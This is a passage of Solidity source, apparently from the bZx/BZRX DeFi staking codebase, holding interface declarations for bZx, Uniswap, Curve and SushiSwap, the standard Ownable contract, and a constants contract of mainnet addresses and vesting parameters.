function length(Bytes32Set storage set)
internal
view
returns (uint256)
{
return set.values.length;
}
/** @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function get(Bytes32Set storage set, uint256 index)
internal
view
returns (bytes32)
{
return set.values[index];
}
/** @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function getAddress(Bytes32Set storage set, uint256 index)
internal
view
returns (address)
{
bytes32 value = set.values[index];
address addrvalue;
assembly {
addrvalue := value
}
return addrvalue;
}
}
interface IUniswapV2Router {
// 0x38ed1739
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline)
external
returns (uint256[] memory amounts);
// 0x8803dbee
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline)
external
returns (uint256[] memory amounts);
// 0x1f00ca74
function getAmountsIn(
uint256 amountOut,
address[] calldata path)
external
view
returns (uint256[] memory amounts);
// 0xd06ca61f
function getAmountsOut(
uint256 amountIn,
address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface ICurve3Pool {
function add_liquidity(
uint256[3] calldata amounts,
uint256 min_mint_amount)
external;
function get_virtual_price()
external
view
returns (uint256);
}
//0xd061D61a4d941c39E5453435B6345Dc261C2fcE0 eth mainnet
interface ICurveMinter {
function mint(
address _addr
)
external;
}
//0xbFcF63294aD7105dEa65aA58F8AE5BE2D9d0952A eth mainnet
interface ICurve3PoolGauge {
function balanceOf(
address _addr
)
external
view
returns (uint256);
function working_balances(address)
external view
returns (uint256);
function claimable_tokens(address)
external
returns (uint256);
function deposit(
uint256 _amount
)
external;
function deposit(
uint256 _amount,
address _addr
)
external;
function withdraw(
uint256 _amount
)
external;
function set_approve_deposit(
address _addr,
bool can_deposit
)
external;
}
/// @title A proxy interface for The Protocol
/// @author bZeroX
/// @notice This is just an interface, not to be deployed itself.
/// @dev This interface is to be used for the protocol interactions.
interface IBZx {
////// Protocol //////
/// @dev adds or replaces existing proxy module
/// @param target target proxy module address
function replaceContract(address target) external;
/// @dev updates all proxy modules addreses and function signatures.
/// sigsArr and targetsArr should be of equal length
/// @param sigsArr array of function signatures
/// @param targetsArr array of target proxy module addresses
function setTargets(
string[] calldata sigsArr,
address[] calldata targetsArr
) external;
/// @dev returns protocol module address given a function signature
/// @return module address
function getTarget(string calldata sig) external view returns (address);
////// Protocol Settings //////
/// @dev sets price feed contract address. The contract on the addres should implement IPriceFeeds interface
/// @param newContract module address for the IPriceFeeds implementation
function setPriceFeedContract(address newContract) external;
/// @dev sets swaps contract address. The contract on the addres should implement ISwapsImpl interface
/// @param newContract module address for the ISwapsImpl implementation
function setSwapsImplContract(address newContract) external;
/// @dev sets loan pool with assets. Accepts two arrays of equal length
/// @param pools array of address of pools
/// @param assets array of addresses of assets
function setLoanPool(address[] calldata pools, address[] calldata assets)
external;
/// @dev updates list of supported tokens, it can be use also to disable or enable particualr token
/// @param addrs array of address of pools
/// @param toggles array of addresses of assets
/// @param withApprovals resets tokens to unlimited approval with the swaps integration (kyber, etc.)
function setSupportedTokens(
address[] calldata addrs,
bool[] calldata toggles,
bool withApprovals
) external;
/// @dev sets lending fee with WEI_PERCENT_PRECISION
/// @param newValue lending fee percent
function setLendingFeePercent(uint256 newValue) external;
/// @dev sets trading fee with WEI_PERCENT_PRECISION
/// @param newValue trading fee percent
function setTradingFeePercent(uint256 newValue) external;
/// @dev sets borrowing fee with WEI_PERCENT_PRECISION
/// @param newValue borrowing fee percent
function setBorrowingFeePercent(uint256 newValue) external;
/// @dev sets affiliate fee with WEI_PERCENT_PRECISION
/// @param newValue affiliate fee percent
function setAffiliateFeePercent(uint256 newValue) external;
/// @dev sets liquidation inncetive percent per loan per token. This is the profit percent
/// that liquidator gets in the process of liquidating.
/// @param loanTokens array list of loan tokens
/// @param collateralTokens array list of collateral tokens
/// @param amounts array list of liquidation inncetive amount
function setLiquidationIncentivePercent(
address[] calldata loanTokens,
address[] calldata collateralTokens,
uint256[] calldata amounts
) external;
/// @dev sets max swap rate slippage percent.
/// @param newAmount max swap rate slippage percent.
function setMaxDisagreement(uint256 newAmount) external;
/// TODO
function setSourceBufferPercent(uint256 newAmount) external;
/// @dev sets maximum supported swap size in ETH
/// @param newAmount max swap size in ETH.
function setMaxSwapSize(uint256 newAmount) external;
/// @dev sets fee controller address
/// @param newController address of the new fees controller
function setFeesController(address newController) external;
/// @dev withdraws lending fees to receiver. Only can be called by feesController address
/// @param tokens array of token addresses.
/// @param receiver fees receiver address
/// @return amounts array of amounts withdrawn
function withdrawFees(
address[] calldata tokens,
address receiver,
FeeClaimType feeType
) external returns (uint256[] memory amounts);
/// @dev withdraw protocol token (BZRX) from vesting contract vBZRX
/// @param receiver address of BZRX tokens claimed
/// @param amount of BZRX token to be claimed. max is claimed if amount is greater than balance.
/// @return rewardToken reward token address
/// @return withdrawAmount amount
function withdrawProtocolToken(address receiver, uint256 amount)
external
returns (address rewardToken, uint256 withdrawAmount);
/// @dev depozit protocol token (BZRX)
/// @param amount address of BZRX tokens to deposit
function depositProtocolToken(uint256 amount) external;
function grantRewards(address[] calldata users, uint256[] calldata amounts)
external
returns (uint256 totalAmount);
// NOTE: this doesn't sanitize inputs -> inaccurate values may be returned if there are duplicates tokens input
function queryFees(address[] calldata tokens, FeeClaimType feeType)
external
view
returns (uint256[] memory amountsHeld, uint256[] memory amountsPaid);
function priceFeeds() external view returns (address);
function swapsImpl() external view returns (address);
function logicTargets(bytes4) external view returns (address);
function loans(bytes32) external view returns (Loan memory);
function loanParams(bytes32) external view returns (LoanParams memory);
// we don't use this yet
// function lenderOrders(address, bytes32) external returns (Order memory);
// function borrowerOrders(address, bytes32) external returns (Order memory);
function delegatedManagers(bytes32, address) external view returns (bool);
function lenderInterest(address, address)
external
view
returns (LenderInterest memory);
function loanInterest(bytes32) external view returns (LoanInterest memory);
function feesController() external view returns (address);
function lendingFeePercent() external view returns (uint256);
function lendingFeeTokensHeld(address) external view returns (uint256);
function lendingFeeTokensPaid(address) external view returns (uint256);
function borrowingFeePercent() external view returns (uint256);
function borrowingFeeTokensHeld(address) external view returns (uint256);
function borrowingFeeTokensPaid(address) external view returns (uint256);
function protocolTokenHeld() external view returns (uint256);
function protocolTokenPaid() external view returns (uint256);
function affiliateFeePercent() external view returns (uint256);
function liquidationIncentivePercent(address, address)
external
view
returns (uint256);
function loanPoolToUnderlying(address) external view returns (address);
function underlyingToLoanPool(address) external view returns (address);
function supportedTokens(address) external view returns (bool);
function maxDisagreement() external view returns (uint256);
function sourceBufferPercent() external view returns (uint256);
function maxSwapSize() external view returns (uint256);
/// @dev get list of loan pools in the system. Ordering is not guaranteed
/// @param start start index
/// @param count number of pools to return
/// @return loanPoolsList array of loan pools
function getLoanPoolsList(uint256 start, uint256 count)
external
view
returns (address[] memory loanPoolsList);
/// @dev checks whether addreess is a loan pool address
/// @return boolean
function isLoanPool(address loanPool) external view returns (bool);
////// Loan Settings //////
/// @dev creates new loan param settings
/// @param loanParamsList array of LoanParams
/// @return loanParamsIdList array of loan ids created
function setupLoanParams(LoanParams[] calldata loanParamsList)
external
returns (bytes32[] memory loanParamsIdList);
/// @dev Deactivates LoanParams for future loans. Active loans using it are unaffected.
/// @param loanParamsIdList array of loan ids
function disableLoanParams(bytes32[] calldata loanParamsIdList) external;
/// @dev gets array of LoanParams by given ids
/// @param loanParamsIdList array of loan ids
/// @return loanParamsList array of LoanParams
function getLoanParams(bytes32[] calldata loanParamsIdList)
external
view
returns (LoanParams[] memory loanParamsList);
/// @dev Enumerates LoanParams in the system by owner
/// @param owner of the loan params
/// @param start number of loans to return
/// @param count total number of the items
/// @return loanParamsList array of LoanParams
function getLoanParamsList(
address owner,
uint256 start,
uint256 count
) external view returns (bytes32[] memory loanParamsList);
/// @dev returns total loan principal for token address
/// @param lender address
/// @param loanToken address
/// @return total principal of the loan
function getTotalPrincipal(address lender, address loanToken)
external
view
returns (uint256);
////// Loan Openings //////
/// @dev This is THE function that borrows or trades on the protocol
/// @param loanParamsId id of the LoanParam created beforehand by setupLoanParams function
/// @param loanId id of existing loan, if 0, start a new loan
/// @param isTorqueLoan boolean whether it is toreque or non torque loan
/// @param initialMargin in WEI_PERCENT_PRECISION
/// @param sentAddresses array of size 4:
/// lender: must match loan if loanId provided
/// borrower: must match loan if loanId provided
/// receiver: receiver of funds (address(0) assumes borrower address)
/// manager: delegated manager of loan unless address(0)
/// @param sentValues array of size 5:
/// newRate: new loan interest rate
/// newPrincipal: new loan size (borrowAmount + any borrowed interest)
/// torqueInterest: new amount of interest to escrow for Torque loan (determines initial loan length)
/// loanTokenReceived: total loanToken deposit (amount not sent to borrower in the case of Torque loans)
/// collateralTokenReceived: total collateralToken deposit
/// @param loanDataBytes required when sending ether
/// @return principal of the loan and collateral amount
function borrowOrTradeFromPool(
bytes32 loanParamsId,
bytes32 loanId,
bool isTorqueLoan,
uint256 initialMargin,
address[4] calldata sentAddresses,
uint256[5] calldata sentValues,
bytes calldata loanDataBytes
) external payable returns (LoanOpenData memory);
/// @dev sets/disables/enables the delegated manager for the loan
/// @param loanId id of the loan
/// @param delegated delegated manager address
/// @param toggle boolean set enabled or disabled
function setDelegatedManager(
bytes32 loanId,
address delegated,
bool toggle
) external;
/// @dev estimates margin exposure for simulated position
/// @param loanToken address of the loan token
/// @param collateralToken address of collateral token
/// @param loanTokenSent amout of loan token sent
/// @param collateralTokenSent amount of collateral token sent
/// @param interestRate yearly interest rate
/// @param newPrincipal principal amount of the loan
/// @return estimated margin exposure amount
function getEstimatedMarginExposure(
address loanToken,
address collateralToken,
uint256 loanTokenSent,
uint256 collateralTokenSent,
uint256 interestRate,
uint256 newPrincipal
) external view returns (uint256);
/// @dev calculates required collateral for simulated position
/// @param loanToken address of loan token
/// @param collateralToken address of collateral token
/// @param newPrincipal principal amount of the loan
/// @param marginAmount margin amount of the loan
/// @param isTorqueLoan boolean torque or non torque loan
/// @return collateralAmountRequired amount required
function getRequiredCollateral(
address loanToken,
address collateralToken,
uint256 newPrincipal,
uint256 marginAmount,
bool isTorqueLoan
) external view returns (uint256 collateralAmountRequired);
function getRequiredCollateralByParams(
bytes32 loanParamsId,
uint256 newPrincipal
) external view returns (uint256 collateralAmountRequired);
/// @dev calculates borrow amount for simulated position
/// @param loanToken address of loan token
/// @param collateralToken address of collateral token
/// @param collateralTokenAmount amount of collateral token sent
/// @param marginAmount margin amount
/// @param isTorqueLoan boolean torque or non torque loan
/// @return borrowAmount possible borrow amount
function getBorrowAmount(
address loanToken,
address collateralToken,
uint256 collateralTokenAmount,
uint256 marginAmount,
bool isTorqueLoan
) external view returns (uint256 borrowAmount);
function getBorrowAmountByParams(
bytes32 loanParamsId,
uint256 collateralTokenAmount
) external view returns (uint256 borrowAmount);
////// Loan Closings //////
/// @dev liquidates unhealty loans
/// @param loanId id of the loan
/// @param receiver address receiving liquidated loan collateral
/// @param closeAmount amount to close denominated in loanToken
/// @return loanCloseAmount amount of the collateral token of the loan
/// @return seizedAmount sezied amount in the collateral token
/// @return seizedToken loan token address
function liquidate(
bytes32 loanId,
address receiver,
uint256 closeAmount
)
external
payable
returns (
uint256 loanCloseAmount,
uint256 seizedAmount,
address seizedToken
);
/// @dev rollover loan
/// @param loanId id of the loan
/// @param loanDataBytes reserved for future use.
function rollover(bytes32 loanId, bytes calldata loanDataBytes)
external
returns (address rebateToken, uint256 gasRebate);
/// @dev close position with loan token deposit
/// @param loanId id of the loan
/// @param receiver collateral token reciever address
/// @param depositAmount amount of loan token to deposit
/// @return loanCloseAmount loan close amount
/// @return withdrawAmount loan token withdraw amount
/// @return withdrawToken loan token address
function closeWithDeposit(
bytes32 loanId,
address receiver,
uint256 depositAmount // denominated in loanToken
)
external
payable
returns (
uint256 loanCloseAmount,
uint256 withdrawAmount,
address withdrawToken
);
/// @dev close position with swap
/// @param loanId id of the loan
/// @param receiver collateral token reciever address
/// @param swapAmount amount of loan token to swap
/// @param returnTokenIsCollateral boolean whether to return tokens is collateral
/// @param loanDataBytes reserved for future use
/// @return loanCloseAmount loan close amount
/// @return withdrawAmount loan token withdraw amount
/// @return withdrawToken loan token address
function closeWithSwap(
bytes32 loanId,
address receiver,
uint256 swapAmount, // denominated in collateralToken
bool returnTokenIsCollateral, // true: withdraws collateralToken, false: withdraws loanToken
bytes calldata loanDataBytes
)
external
returns (
uint256 loanCloseAmount,
uint256 withdrawAmount,
address withdrawToken
);
////// Loan Closings With Gas Token //////
/// @dev liquidates unhealty loans by using Gas token
/// @param loanId id of the loan
/// @param receiver address receiving liquidated loan collateral
/// @param gasTokenUser user address of the GAS token
/// @param closeAmount amount to close denominated in loanToken
/// @return loanCloseAmount loan close amount
/// @return seizedAmount loan token withdraw amount
/// @return seizedToken loan token address
function liquidateWithGasToken(
bytes32 loanId,
address receiver,
address gasTokenUser,
uint256 closeAmount // denominated in loanToken
)
external
payable
returns (
uint256 loanCloseAmount,
uint256 seizedAmount,
address seizedToken
);
/// @dev rollover loan
/// @param loanId id of the loan
/// @param gasTokenUser user address of the GAS token
function rolloverWithGasToken(
bytes32 loanId,
address gasTokenUser,
bytes calldata /*loanDataBytes*/
) external returns (address rebateToken, uint256 gasRebate);
/// @dev close position with loan token deposit
/// @param loanId id of the loan
/// @param receiver collateral token reciever address
/// @param gasTokenUser user address of the GAS token
/// @param depositAmount amount of loan token to deposit denominated in loanToken
/// @return loanCloseAmount loan close amount
/// @return withdrawAmount loan token withdraw amount
/// @return withdrawToken loan token address
function closeWithDepositWithGasToken(
bytes32 loanId,
address receiver,
address gasTokenUser,
uint256 depositAmount
)
external
payable
returns (
uint256 loanCloseAmount,
uint256 withdrawAmount,
address withdrawToken
);
/// @dev close position with swap
/// @param loanId id of the loan
/// @param receiver collateral token reciever address
/// @param gasTokenUser user address of the GAS token
/// @param swapAmount amount of loan token to swap denominated in collateralToken
/// @param returnTokenIsCollateral true: withdraws collateralToken, false: withdraws loanToken
/// @return loanCloseAmount loan close amount
/// @return withdrawAmount loan token withdraw amount
/// @return withdrawToken loan token address
function closeWithSwapWithGasToken(
bytes32 loanId,
address receiver,
address gasTokenUser,
uint256 swapAmount,
bool returnTokenIsCollateral,
bytes calldata loanDataBytes
)
external
returns (
uint256 loanCloseAmount,
uint256 withdrawAmount,
address withdrawToken
);
////// Loan Maintenance //////
/// @dev deposit collateral to existing loan
/// @param loanId existing loan id
/// @param depositAmount amount to deposit which must match msg.value if ether is sent
function depositCollateral(bytes32 loanId, uint256 depositAmount)
external
payable;
/// @dev withdraw collateral from existing loan
/// @param loanId existing lona id
/// @param receiver address of withdrawn tokens
/// @param withdrawAmount amount to withdraw
/// @return actualWithdrawAmount actual amount withdrawn
function withdrawCollateral(
bytes32 loanId,
address receiver,
uint256 withdrawAmount
) external returns (uint256 actualWithdrawAmount);
/// @dev withdraw accrued interest rate for a loan given token address
/// @param loanToken loan token address
function withdrawAccruedInterest(address loanToken) external;
/// @dev extends loan duration by depositing more collateral
/// @param loanId id of the existing loan
/// @param depositAmount amount to deposit
/// @param useCollateral boolean whether to extend using collateral or deposit amount
/// @return secondsExtended by that number of seconds loan duration was extended
function extendLoanDuration(
bytes32 loanId,
uint256 depositAmount,
bool useCollateral,
bytes calldata // for future use /*loanDataBytes*/
) external payable returns (uint256 secondsExtended);
/// @dev reduces loan duration by withdrawing collateral
/// @param loanId id of the existing loan
/// @param receiver address to receive tokens
/// @param withdrawAmount amount to withdraw
/// @return secondsReduced by that number of seconds loan duration was extended
function reduceLoanDuration(
bytes32 loanId,
address receiver,
uint256 withdrawAmount
) external returns (uint256 secondsReduced);
function setDepositAmount(
bytes32 loanId,
uint256 depositValueAsLoanToken,
uint256 depositValueAsCollateralToken
) external;
function claimRewards(address receiver)
external
returns (uint256 claimAmount);
function transferLoan(bytes32 loanId, address newOwner) external;
function rewardsBalanceOf(address user)
external
view
returns (uint256 rewardsBalance);
/// @dev Gets current lender interest data totals for all loans with a specific oracle and interest token
/// @param lender The lender address
/// @param loanToken The loan token address
/// @return interestPaid The total amount of interest that has been paid to a lender so far
/// @return interestPaidDate The date of the last interest pay out, or 0 if no interest has been withdrawn yet
/// @return interestOwedPerDay The amount of interest the lender is earning per day
/// @return interestUnPaid The total amount of interest the lender is owned and not yet withdrawn
/// @return interestFeePercent The fee retained by the protocol before interest is paid to the lender
/// @return principalTotal The total amount of outstading principal the lender has loaned
function getLenderInterestData(address lender, address loanToken)
external
view
returns (
uint256 interestPaid,
uint256 interestPaidDate,
uint256 interestOwedPerDay,
uint256 interestUnPaid,
uint256 interestFeePercent,
uint256 principalTotal
);
/// @dev Gets current interest data for a loan
/// @param loanId A unique id representing the loan
/// @return loanToken The loan token that interest is paid in
/// @return interestOwedPerDay The amount of interest the borrower is paying per day
/// @return interestDepositTotal The total amount of interest the borrower has deposited
/// @return interestDepositRemaining The amount of deposited interest that is not yet owed to a lender
function getLoanInterestData(bytes32 loanId)
external
view
returns (
address loanToken,
uint256 interestOwedPerDay,
uint256 interestDepositTotal,
uint256 interestDepositRemaining
);
/// @dev gets list of loans of particular user address
/// @param user address of the loans
/// @param start of the index
/// @param count number of loans to return
/// @param loanType type of the loan: All(0), Margin(1), NonMargin(2)
/// @param isLender whether to list lender loans or borrower loans
/// @param unsafeOnly booleat if true return only unsafe loans that are open for liquidation
/// @return loansData LoanReturnData array of loans
function getUserLoans(
address user,
uint256 start,
uint256 count,
LoanType loanType,
bool isLender,
bool unsafeOnly
) external view returns (LoanReturnData[] memory loansData);
function getUserLoansCount(address user, bool isLender)
external
view
returns (uint256);
/// @dev gets existing loan
/// @param loanId id of existing loan
/// @return loanData array of loans
function getLoan(bytes32 loanId)
external
view
returns (LoanReturnData memory loanData);
/// @dev get current active loans in the system
/// @param start of the index
/// @param count number of loans to return
/// @param unsafeOnly boolean if true return unsafe loan only (open for liquidation)
function getActiveLoans(
uint256 start,
uint256 count,
bool unsafeOnly
) external view returns (LoanReturnData[] memory loansData);
/// @dev get current active loans in the system
/// @param start of the index
/// @param count number of loans to return
/// @param unsafeOnly boolean if true return unsafe loan only (open for liquidation)
/// @param isLiquidatable boolean if true return liquidatable loans only
function getActiveLoansAdvanced(
uint256 start,
uint256 count,
bool unsafeOnly,
bool isLiquidatable
) external view returns (LoanReturnData[] memory loansData);
function getActiveLoansCount() external view returns (uint256);
////// Swap External //////
/// @dev swap thru external integration
/// @param sourceToken source token address
/// @param destToken destintaion token address
/// @param receiver address to receive tokens
/// @param returnToSender TODO
/// @param sourceTokenAmount source token amount
/// @param requiredDestTokenAmount destination token amount
/// @param swapData TODO
/// @return destTokenAmountReceived destination token received
/// @return sourceTokenAmountUsed source token amount used
function swapExternal(
address sourceToken,
address destToken,
address receiver,
address returnToSender,
uint256 sourceTokenAmount,
uint256 requiredDestTokenAmount,
bytes calldata swapData
)
external
payable
returns (
uint256 destTokenAmountReceived,
uint256 sourceTokenAmountUsed
);
/// @dev swap thru external integration using GAS
/// @param sourceToken source token address
/// @param destToken destintaion token address
/// @param receiver address to receive tokens
/// @param returnToSender TODO
/// @param gasTokenUser user address of the GAS token
/// @param sourceTokenAmount source token amount
/// @param requiredDestTokenAmount destination token amount
/// @param swapData TODO
/// @return destTokenAmountReceived destination token received
/// @return sourceTokenAmountUsed source token amount used
function swapExternalWithGasToken(
address sourceToken,
address destToken,
address receiver,
address returnToSender,
address gasTokenUser,
uint256 sourceTokenAmount,
uint256 requiredDestTokenAmount,
bytes calldata swapData
)
external
payable
returns (
uint256 destTokenAmountReceived,
uint256 sourceTokenAmountUsed
);
/// @dev calculate simulated return of swap
/// @param sourceToken source token address
/// @param destToken destination token address
/// @param sourceTokenAmount source token amount
/// @return amoun denominated in destination token
function getSwapExpectedReturn(
address sourceToken,
address destToken,
uint256 sourceTokenAmount
) external view returns (uint256);
function owner() external view returns (address);
function transferOwnership(address newOwner) external;
/// Guardian Interface
function _isPaused(bytes4 sig) external view returns (bool isPaused);
function toggleFunctionPause(bytes4 sig) external;
function toggleFunctionUnPause(bytes4 sig) external;
function changeGuardian(address newGuardian) external;
function getGuardian() external view returns (address guardian);
/// Loan Cleanup Interface
function cleanupLoans(
address loanToken,
bytes32[] calldata loanIds)
external
payable
returns (uint256 totalPrincipalIn);
struct LoanParams {
bytes32 id;
bool active;
address owner;
address loanToken;
address collateralToken;
uint256 minInitialMargin;
uint256 maintenanceMargin;
uint256 maxLoanTerm;
}
struct LoanOpenData {
bytes32 loanId;
uint256 principal;
uint256 collateral;
}
enum LoanType {
All,
Margin,
NonMargin
}
struct LoanReturnData {
bytes32 loanId;
uint96 endTimestamp;
address loanToken;
address collateralToken;
uint256 principal;
uint256 collateral;
uint256 interestOwedPerDay;
uint256 interestDepositRemaining;
uint256 startRate;
uint256 startMargin;
uint256 maintenanceMargin;
uint256 currentMargin;
uint256 maxLoanTerm;
uint256 maxLiquidatable;
uint256 maxSeizable;
uint256 depositValueAsLoanToken;
uint256 depositValueAsCollateralToken;
}
enum FeeClaimType {
All,
Lending,
Trading,
Borrowing
}
struct Loan {
bytes32 id; // id of the loan
bytes32 loanParamsId; // the linked loan params id
bytes32 pendingTradesId; // the linked pending trades id
uint256 principal; // total borrowed amount outstanding
uint256 collateral; // total collateral escrowed for the loan
uint256 startTimestamp; // loan start time
uint256 endTimestamp; // for active loans, this is the expected loan end time, for in-active loans, is the actual (past) end time
uint256 startMargin; // initial margin when the loan opened
uint256 startRate; // reference rate when the loan opened for converting collateralToken to loanToken
address borrower; // borrower of this loan
address lender; // lender of this loan
bool active; // if false, the loan has been fully closed
}
struct LenderInterest {
uint256 principalTotal; // total borrowed amount outstanding of asset
uint256 owedPerDay; // interest owed per day for all loans of asset
uint256 owedTotal; // total interest owed for all loans of asset (assuming they go to full term)
uint256 paidTotal; // total interest paid so far for asset
uint256 updatedTimestamp; // last update
}
struct LoanInterest {
uint256 owedPerDay; // interest owed per day for loan
uint256 depositTotal; // total escrowed interest for loan
uint256 updatedTimestamp; // last update
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IMasterChefSushi {
struct UserInfo {
uint256 amount;
uint256 rewardDebt;
}
function deposit(uint256 _pid, uint256 _amount)
external;
function withdraw(uint256 _pid, uint256 _amount)
external;
// Info of each user that stakes LP tokens.
function userInfo(uint256, address)
external
view
returns (UserInfo memory);
function pendingSushi(uint256 _pid, address _user)
external
view
returns (uint256);
}
interface IStaking {
struct ProposalState {
uint256 proposalTime;
uint256 iBZRXWeight;
uint256 lpBZRXBalance;
uint256 lpTotalSupply;
}
struct AltRewardsUserInfo {
uint256 rewardsPerShare;
uint256 pendingRewards;
}
function getCurrentFeeTokens()
external
view
returns (address[] memory);
function maxUniswapDisagreement()
external
view
returns (uint256);
function isPaused()
external
view
returns (bool);
function fundsWallet()
external
view
returns (address);
function callerRewardDivisor()
external
view
returns (uint256);
function maxCurveDisagreement()
external
view
returns (uint256);
function rewardPercent()
external
view
returns (uint256);
function addRewards(uint256 newBZRX, uint256 newStableCoin)
external;
function stake(
address[] calldata tokens,
uint256[] calldata values
)
external;
function unstake(
address[] calldata tokens,
uint256[] calldata values
)
external;
function earned(address account)
external
view
returns (
uint256 bzrxRewardsEarned,
uint256 stableCoinRewardsEarned,
uint256 bzrxRewardsVesting,
uint256 stableCoinRewardsVesting,
uint256 sushiRewardsEarned
);
function pendingCrvRewards(address account)
external
view
returns (
uint256 bzrxRewardsEarned,
uint256 stableCoinRewardsEarned,
uint256 bzrxRewardsVesting,
uint256 stableCoinRewardsVesting,
uint256 sushiRewardsEarned
);
function getVariableWeights()
external
view
returns (uint256 vBZRXWeight, uint256 iBZRXWeight, uint256 LPTokenWeight);
function balanceOfByAsset(
address token,
address account)
external
view
returns (uint256 balance);
function balanceOfByAssets(
address account)
external
view
returns (
uint256 bzrxBalance,
uint256 iBZRXBalance,
uint256 vBZRXBalance,
uint256 LPTokenBalance,
uint256 LPTokenBalanceOld
);
function balanceOfStored(
address account)
external
view
returns (uint256 vestedBalance, uint256 vestingBalance);
function totalSupplyStored()
external
view
returns (uint256 supply);
function vestedBalanceForAmount(
uint256 tokenBalance,
uint256 lastUpdate,
uint256 vestingEndTime)
external
view
returns (uint256 vested);
function votingBalanceOf(
address account,
uint256 proposalId)
external
view
returns (uint256 totalVotes);
function votingBalanceOfNow(
address account)
external
view
returns (uint256 totalVotes);
function votingFromStakedBalanceOf(
address account)
external
view
returns (uint256 totalVotes);
function _setProposalVals(
address account,
uint256 proposalId)
external
returns (uint256);
function exit()
external;
function addAltRewards(address token, uint256 amount)
external;
function governor()
external
view
returns(address);
}
contract StakingConstants {
address public constant BZRX = 0x56d811088235F11C8920698a204A5010a788f4b3;
address public constant vBZRX = 0xB72B31907C1C95F3650b64b2469e08EdACeE5e8F;
address public constant iBZRX = 0x18240BD9C07fA6156Ce3F3f61921cC82b2619157;
address public constant LPToken = 0xa30911e072A0C88D55B5D0A0984B66b0D04569d0; // sushiswap
address public constant LPTokenOld = 0xe26A220a341EAca116bDa64cF9D5638A935ae629; // balancer
IERC20 public constant curve3Crv = IERC20(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address public constant SUSHI = 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2;
IUniswapV2Router public constant uniswapRouter = IUniswapV2Router(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // sushiswap
ICurve3Pool public constant curve3pool = ICurve3Pool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
IBZx public constant bZx = IBZx(0xD8Ee69652E4e4838f2531732a46d1f7F584F0b7f);
uint256 public constant cliffDuration = 15768000; // 86400 * 365 * 0.5
uint256 public constant vestingDuration = 126144000; // 86400 * 365 * 4
uint256 internal constant vestingDurationAfterCliff = 110376000; // 86400 * 365 * 3.5
uint256 internal constant vestingStartTimestamp = 1594648800; // start_time
uint256 internal constant vestingCliffTimestamp = vestingStartTimestamp + cliffDuration;
uint256 internal constant vestingEndTimestamp = vestingStartTimestamp + vestingDuration;
uint256 internal constant _startingVBZRXBalance = 889389933e18; // 889,389,933 BZRX
address internal constant SUSHI_MASTERCHEF = 0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd;
uint256 internal constant BZRX_ETH_SUSHI_MASTERCHEF_PID = 188;
uint256 public constant BZRXWeightStored = 1e18;
ICurveMinter public constant curveMinter = ICurveMinter(0xd061D61a4d941c39E5453435B6345Dc261C2fcE0);
ICurve3PoolGauge public constant curve3PoolGauge = ICurve3PoolGauge(0xbFcF63294aD7105dEa65aA58F8AE5BE2D9d0952A);
address public constant CRV = 0xD533a949740bb3306d119CC777fa900bA034cd52;
struct DelegatedTokens {
address user;
uint256 BZRX;
uint256 vBZRX;
uint256 iBZRX;
uint256 LPToken;
uint256 totalVotes;
}
event Stake(
address indexed user,
address indexed token,
address indexed delegate,
uint256 amount
);
event Unstake(
address indexed user,
address indexed token,
address indexed delegate,
uint256 amount
);
event AddRewards(
address indexed sender,
uint256 bzrxAmount,
uint256 stableCoinAmount
);
event Claim(
address indexed user,
